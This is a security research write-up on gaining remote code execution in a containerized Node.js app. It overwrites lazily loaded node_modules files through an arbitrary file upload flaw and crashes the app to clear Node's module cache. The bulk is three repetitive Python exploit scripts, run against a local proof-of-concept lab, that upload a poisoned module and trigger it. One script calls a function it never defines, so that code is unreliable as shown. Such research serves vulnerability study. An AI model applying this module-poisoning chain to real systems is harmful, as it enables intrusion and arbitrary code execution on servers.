NodeJS - Abusing Lazy Loading Technique

Exploiting Lazy Loading technique for remote code execution

Table of Contents

Introduction

During vulnerability research on a containerized Node.js application, I discovered a critical arbitrary file overwrite vulnerability. Initial attempts to overwrite core application files like app.js proved ineffective due to two key constraints:

  • Application Restart Required: Modifying app.js required restarting the entire application.

  • Container Reset Protection: Crashes triggered immediate container resets that restored all original files.

However, I discovered the developers were using lazy loading patterns throughout the application:

Example: Lazy Loading Pattern

async content() {
    // Lazy loading - module loaded only when function is called
    const { generate } = require('random-words');
    const words = generate(5);
    const sentence = words.join(' ');
    return sentence;
}

What is Lazy Loading

"Lazy loading is a technique where modules or dependencies are loaded only when they are needed, rather than during the application's startup phase. This approach minimizes memory usage and reduces startup time, especially in applications with numerous dependencies."

Node.js Module Caching Behavior

Node.js caches modules after their first require() call. Once a module is loaded and cached, subsequent require() calls return the cached version, even if the original file has been modified on disk. This behavior is crucial to our attack.

Exploitation Strategy

This gave me an idea: what if I could modify an uncached module to abuse the lazy loading technique and gain remote code execution?

After analyzing the application's front-end, I identified:

  • Unused API routes not accessible through the UI that use lazy loading.

  • Crash triggers - actions that would force container resets and clear cached modules.

Attack Vectors

Direct Lazy Loading

  1. Overwrite lazy-loaded modules (avoiding core files like app.js).

  2. Trigger the target endpoint to load the poisoned module.

  3. Execute payload when Node.js loads the malicious code.

Clearing Cached Modules

For already-cached modules:

  1. Crash the application intentionally to clear Node.js module cache.

  2. Wait for the container to reset, clearing the cache.

  3. Overwrite lazy-loaded modules (avoiding core files like app.js).

  4. Trigger the target endpoint to load the poisoned module.

  5. Execute payload when Node.js loads the malicious code.

Demonstration

To demonstrate this vulnerability, I've created a proof-of-concept environment consisting of:

  • A vulnerable Node.js Express application with file upload and crash endpoint.

  • Exploitation script showcasing different attack scenarios

.
├── Dockerfile
├── backup
│   ├── index.js // malicious poisoned module that replaces the legitimate random-words package
│   └── index.js.org // The original legitimate module from the random-words package
├── evidence // The payload writes evidence files here (e.g., /evidence/pwn)
├── exploit.py // exploitation script that demonstrates the lazy module abusing. Contains multiple attack scenarios including direct exploitation and cache reset techniques.
├── run.bat // build docker image and start the containerized environment
├── run.sh // build docker image and start the containerized environment
└── src  // This contains the complete Node.js Express application with intentional vulnerabilities.
    ├── app.js
    ├── controllers
    │   ├── content.js
    │   └── file.js
    ├── package-lock.json
    ├── package.json
    ├── routes
    │   ├── content.js
    │   └── file.js
    ├── services
    │   ├── content.js
    │   └── file.js
    └── uploads

Application source code

Start the application

Run the application inside a container

Vulnerable endpoint for file upload

Crash Endpoint

router.get('/crash', (req, res) => {
    console.log('Throwing uncaught exception...');
    setTimeout(() => {
      throw new Error('Intentional crash!');
    }, 100);
});

This crash endpoint is crucial for the cache-clearing attack vector, as it forces the container to restart and clear the Node.js module cache. This used in the second scenario.

Uncached lazy module Scenario #1

Since the content endpoint uses lazy module loading, it isn't called at application startup, leaving its module uncached in Node.js.

Overwrite the random-words to gain remote code execution

This script demonstrates successful exploitation when the module hasn't been cached yet.

#!/usr/bin/env python3

import os
import shutil
import requests
import json
from time import sleep

# Configuration
HOST = "localhost"
PORT = 3000
URL = f"http://{HOST}:{PORT}"

# File paths
ORIGINAL_MODULE = "/app/node_modules/random-words"
POISONED_MODULE = "./backup/index.js"
SESSION = requests.Session()

def upload():
    try:
        files = {
            'file': ('index.js', open(POISONED_MODULE, 'rb'), 'application/javascript')
        }
        
        data = {
            'path': ORIGINAL_MODULE,  # Target module path
            'filename': 'index.js'    # Overwrite main module file
        }
        
        # Send malicious upload request
        response = SESSION.post(
            f"{URL}/api/file/",
            files=files,
            data=data
        )
        
        files['file'][1].close()
        
        if response.status_code == 200:
            return True
            
    except Exception as e:
        return False

def content():
    try:
        response = SESSION.get(f"{URL}/api/content/")
        if response.status_code == 200:
            return True
    except Exception as e:
        return False

def exploit():
    print("[*] Uploading poisoned module")
    if upload():
        print("[+] Module successfully poisoned")
        print("[*] Triggering poisoned module")
        if content():
            print("[+] Check /evidence/pwn for verification")
    else:
        print("[-] Upload failed")
        
if __name__ == "__main__":
    # Scenario 1: Successful exploit
    # - Poison module FIRST
    # - Then trigger content endpoint
    # This works because Node.js will load the poisoned module
    # when it's required for the first time
    exploit()

Evidence

Clearing Cached Modules #2

Abusing both Lazy Modules and container mechanisms by Crashing to Clear the Module Cache.

Note: Reset the application container to return the old state after scenario #1.

Call the content endpoint first to ensure the module is cached

#!/usr/bin/env python3

import os
import shutil
import requests
import json
from time import sleep

# Configuration
HOST = "localhost"
PORT = 3000
URL = f"http://{HOST}:{PORT}"

# File paths
ORIGINAL_MODULE = "/app/node_modules/random-words"
POISONED_MODULE = "./backup/index.js"
SESSION = requests.Session()

def upload():
    try:
        files = {
            'file': ('index.js', open(POISONED_MODULE, 'rb'), 'application/javascript')
        }
        
        data = {
            'path': ORIGINAL_MODULE,  # Target module path
            'filename': 'index.js'    # Overwrite main module file
        }
        
        # Send malicious upload request
        response = SESSION.post(
            f"{URL}/api/file/",
            files=files,
            data=data
        )
        
        files['file'][1].close()
        
        if response.status_code == 200:
            return True
            
    except Exception as e:
        return False

def content():
    try:
        response = SESSION.get(f"{URL}/api/content/")
        if response.status_code == 200:
            return True
    except Exception as e:
        return False

def unexploitable():
    print("[*] Triggering content endpoint BEFORE poisoning")
    content()
    print("[*] Attempting to poison module and trigger again")
    exploit()

if __name__ == "__main__":
    # Scenario 2: Failed exploit
    # - Trigger content endpoint FIRST (loads & caches original module)
    # - Then poison module
    # - Then trigger content endpoint AGAIN
    # This fails because Node.js uses the cached original module
    unexploitable()

Evidence for the unexploitable scenario

This final script demonstrates the complete attack chain: triggering a cached module, failing to exploit, then crashing the container to clear the cache and successfully exploiting:

#!/usr/bin/env python3

import os
import shutil
import requests
import json
from time import sleep

HOST = "localhost"
PORT = 3000
URL = f"http://{HOST}:{PORT}"

# File paths
ORIGINAL_MODULE = "/app/node_modules/random-words"
POISONED_MODULE = "./backup/index.js"
SESSION = requests.Session()

def upload():
    try:
        files = {
            'file': ('index.js', open(POISONED_MODULE, 'rb'), 'application/javascript')
        }
        
        data = {
            'path': ORIGINAL_MODULE,  # Target module path
            'filename': 'index.js'    # Overwrite main module file
        }
        
        # Send malicious upload request
        response = SESSION.post(
            f"{URL}/api/file/",
            files=files,
            data=data
        )
        
        files['file'][1].close()
        
        if response.status_code == 200:
            return True
            
    except Exception as e:
        return False

def content():
    try:
        response = SESSION.get(f"{URL}/api/content/")
        if response.status_code == 200:
            return True
    except Exception as e:
        return False

def exploit():
    print("[*] Uploading poisoned module")
    if upload():
        print("[+] Module successfully poisoned")
        print("[*] Triggering poisoned module")
        if content():
            print("[+] Check /evidence/pwn for verification")
    else:
        print("[-] Upload failed")

def unexploitable():
    print("[*] Triggering content endpoint BEFORE poisoning")
    content()
    print("[*] Attempting to poison module and trigger again")
    exploit()

def crash():
    try:
        SESSION.get(f"{URL}/api/content/crash")
    except:
        pass

if __name__ == "__main__":
    # Scenario 1: Successful exploit
    # - Poison module FIRST
    # - Then trigger content endpoint
    # This works because Node.js will load the poisoned module
    # when it's required for the first time
    # exploit()

    # RESET the container first to original state
    # Scenario 2: Failed exploit
    # - Trigger content endpoint FIRST (loads & caches original module)
    # - Then poison module
    # - Then trigger content endpoint AGAIN
    # This fails because Node.js uses the cached original module
    unexploitable()
    
    # Clear the module cache via crash
    input('Crash the application')
    crash()
    sleep(10) # wait for the container to restart
    exploit()

Evidence for RCE after crashing the application and container reset

the modified script was loaded successfully after crashing to clear the cached modules.

Last updated

Was this helpful?